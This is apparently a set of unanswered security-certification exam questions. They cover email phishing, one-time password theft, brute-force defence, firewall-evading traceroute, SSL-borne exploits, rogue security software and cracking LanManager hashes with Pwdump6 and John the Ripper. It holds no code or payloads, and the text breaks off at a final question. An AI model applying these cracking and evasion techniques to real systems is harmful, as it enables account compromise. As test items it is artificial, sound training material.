A common technique for luring e-mail users into opening virus-launching attachments is to send messages that would appear to be relevant or important to many of their potential recipients. One way of accomplishing this feat is to make the virus-carrying messages appear to come from some type of business entity retailing sites, UPS, FEDEX, CITIBANK or a major provider of a common service.
Here is a fraudulent e-mail claiming to be from FedEx regarding a package that could not be delivered. This mail asks the receiver to open an attachment in order to obtain the FEDEX tracking number for picking up the package. The attachment contained in this type of e-mail activates a virus.
Vendors send e-mails like this to their customers advising them not to open any files attached with the mail, as they do not include attachments.
Fraudulent e-mail and legit e-mail that arrives in your inbox contain the fedex.com as the sender of the mail.
How do you ensure if the e-mail is authentic and sent from fedex.com?
You are the security administrator of Jaco Banking Systems located in Boston. You are setting up e-banking website (http://www.ejacobank.com) authentication system. Instead of issuing banking customer with a single password, you give them a printed list of 100 unique passwords. Each time the customer needs to log into the e-banking system website, the customer enters the next password on the list. If someone sees them type the password using shoulder surfing, MiTM or keyloggers, then no damage is done because the password will not be accepted a second time. Once the list of 100 passwords is almost finished, the system automatically sends out a new password list by encrypted e-mail to the customer.
You are confident that this security implementation will protect the customer from password abuse.
Two months later, a group of hackers called "HackJihad" found a way to access the one-time password list issued to customers of Jaco Banking Systems. The hackers set up a fake website (http://www.e-jacobank.com) and used phishing attacks to direct ignorant customers to it. The fake website asked users for their e-banking username and password, and the next unused entry from their one-time password sheet. The hackers collected 200 customer 's username/passwords this way. They transferred money from the customer's bank account to various offshore accounts.
Your decision of password policy implementation has cost the bank with USD 925, 000 to hackers. You immediately shut down the e-banking website while figuring out the next best security solution
What effective security solution will you recommend in this case?

Samuel is the network administrator of DataX Communications, Inc. He is trying to configure his firewall to block password brute force attempts on his network. He enables blocking the intruder's IP address for a period of 24 hours' time after more than three unsuccessful attempts. He is confident that this rule will secure his network from hackers on the Internet.
But he still receives hundreds of thousands brute-force attempts generated from various IP addresses around the world. After some investigation he realizes that the intruders are using a proxy somewhere else on the Internet which has been scripted to enable the random usage of various proxies on each request so as not to get caught by the firewall rule.
Later he adds another rule to his firewall and enables small sleep on the password attempt so that if the password is incorrect, it would take 45 seconds to return to the user to begin another attempt. Since an intruder may use multiple machines to brute force the password, he also throttles the number of connections that will be prepared to accept from a particular IP address. This action will slow the intruder's attempts.
Samuel wants to completely block hackers brute force attempts on his network.
What are the alternatives to defending against possible brute-force password attacks on his site?

The traditional traceroute sends out ICMP ECHO packets with a TTL of one, and increments the TTL until the destination has been reached. By printing the gateways that generate ICMP time exceeded messages along the way, it is able to determine the path packets take to reach the destination.
The problem is that with the widespread use of firewalls on the Internet today, many of the packets that traceroute sends out end up being filtered, making it impossible to completely trace the path to the destination.
How would you overcome the Firewall restriction on ICMP ECHO packets?
John runs a Web server, IDS and firewall on his network. Recently his Web server has been under constant hacking attacks. He looks up the IDS log files and sees no intrusion attempts but the Web server constantly locks up and needs rebooting due to various brute force and buffer overflow attacks but still the IDS alerts no intrusion whatsoever. John becomes suspicious and views the Firewall logs and he notices huge SSL connections constantly hitting his Web server. Hackers have been using the encrypted HTTPS protocol to send exploits to the Web server and that was the reason the IDS did not detect the intrusions. How would John protect his network from these types of attacks?

Harold works for Jacobson Unlimited in the IT department as the security manager. Harold has created a security policy requiring all employees to use complex 14 character passwords. Unfortunately, the members of management do not want to have to use such long complicated passwords so they tell Harold's boss this new password policy should not apply to them. To comply with the management's wishes, the IT department creates another Windows domain and moves all the management users to that domain. This new domain has a password policy only requiring 8 characters.
Harold is concerned about having to accommodate the managers, but cannot do anything about it. Harold is also concerned about using LanManager security on his network instead of NTLM or NTLMv2, but the many legacy applications on the network prevent using the more secure NTLM and NTLMv2. Harold pulls the SAM files from the DC's on the original domain and the new domain using Pwdump6.
Harold uses the password cracking software John the Ripper to crack users' passwords to make sure they are strong enough. Harold expects that the users' passwords in the original domain will take much longer to crack than the management's passwords in the new domain. After running the software, Harold discovers that the 14 character passwords only took a short time longer to crack than the 8 character passwords.
Why did the 14 character passwords not take much longer to crack than the 8 character passwords?

A Trojan horse is a destructive program that masquerades as a benign application. The software initially appears to perform a desirable function for the user prior to installation and/or execution, but in addition to the expected function steals information or harms the system.
The challenge for an attacker is to send a convincing file attachment to the victim, which gets easily executed on the victim machine without raising any suspicion. Today's end users are quite knowledgeable about malwares and viruses. Instead of sending games and fun executables, Hackers today are quite successful in spreading the Trojans using Rogue security software.
What is Rogue security software?

LM authentication is not as strong as Windows NT authentication so you may want to disable its use, because an attacker eavesdropping on network traffic will attack the weaker protocol. A successful attack can compromise the user's password. How do you disable LM authentication in Windows XP?
You have retrieved the raw hash values from a Windows 2000 Domain Controller. Using social engineering, you come to know that they are enforcing strong passwords. You understand that all users are required to use passwords that are at least 8 characters in length. All passwords must also use 3 of the 4 following categories: lower case letters, capital letters, numbers and special characters.
With your existing knowledge of users, likely user account names and the possibility that they will choose the easiest passwords possible, what would be the fastest type of password cracking attack you can run against these hash values and still get results?
This kind of password cracking method uses word lists in combination with numbers and special characters:
